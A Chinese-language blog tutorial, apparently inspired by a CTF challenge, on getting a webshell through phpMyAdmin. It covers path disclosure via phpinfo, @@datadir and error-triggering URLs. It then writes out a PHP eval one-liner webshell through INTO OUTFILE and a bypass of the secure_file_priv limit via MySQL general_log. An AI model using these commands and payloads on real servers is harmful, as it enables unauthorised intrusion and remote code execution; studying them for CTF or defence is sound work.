前言

想到写这么一篇文章只要是之前三叶草的ctf出过这样一题,当时还是问的学长… 当然ctf还是学到东西为主,这里仔细研究一下。

思路

说道phpmyadmin,首先爆破进后台然后写马那shell。进后台就不说了,进不了还搞什么。然后就是写一句话,这有个前提就是得知道网站绝对路径不然你往哪里写。

爆路径

1、最直接的phpinfo页面

2、select @@datadir;可以查看网站使用的什么套件,phpstudy、xampp等,用默认路径进行尝试。或者select load_file();读取apache等容器配置文件。

3、phpmyadmin报错

1. /phpmyadmin/libraries/lect_lang.lib.php
2./phpMyAdmin/index.php?lang[]=1
3. /phpMyAdmin/phpinfo.php
4./phpmyadmin/themes/darkblue_orange/layout.inc.php
5./phpmyadmin/libraries/select_lang.lib.php
6./phpmyadmin/libraries/lect_lang.lib.php
7./phpmyadmin/libraries/mcrypt.lib.php

emmm,本地新版本测试一个都没成功。。。 不行再试试php报错那一套,主要还是靠运气去猜…

提权

说道写shell不得不说 MYSQL secure_file_priv对读写文件的影响。首先我们先查看这个参数的值

SHOW VARIABLES LIKE "secure_file_priv";

我们直接写马上传

select '<?php @eval($_POST[cmd])?>'INTO OUTFILE 'C:\phpStudy\PHPTutorial\WWW\shell.php'

可以看到这样是传不上去的,并且错误原因已经给出来了。

secure_file_priv的值为null ,表示限制mysql不允许导入|导出

当secure_file_priv的值为/tmp/ ,表示限制mysql的导入|导出只能发生在/tmp/目录下

当secure_file_priv的值没有具体值时,表示不对mysql的导入|导出做限制

这个时候就可以利用(general_log、general_log file)日志文件getshell,general_log就是记录输入的日志文件,general_log file就是规定日志保存在哪个路径,我们只要输入一句话然后保存网站目录下的php文件就OK了。

SHOW VARIABLES LIKE 'general%';

设置general_log为on,并且把日志存放路径设置为网站根目录。

set global general_log = "ON";

SET global general_log_file='C:/phpStudy/PHPTutorial/WWW/shell.php';

这时候我们查询

select '<?php eval($_POST[cmd]);?>';

可以看到木马插入成功,三句话getshell成功。这个方法最早17年三月就看到有大牛在博客上发出来了,滋滋好的姿势还是要自己研究等现成的怕是别人玩腻了自己才知道。。。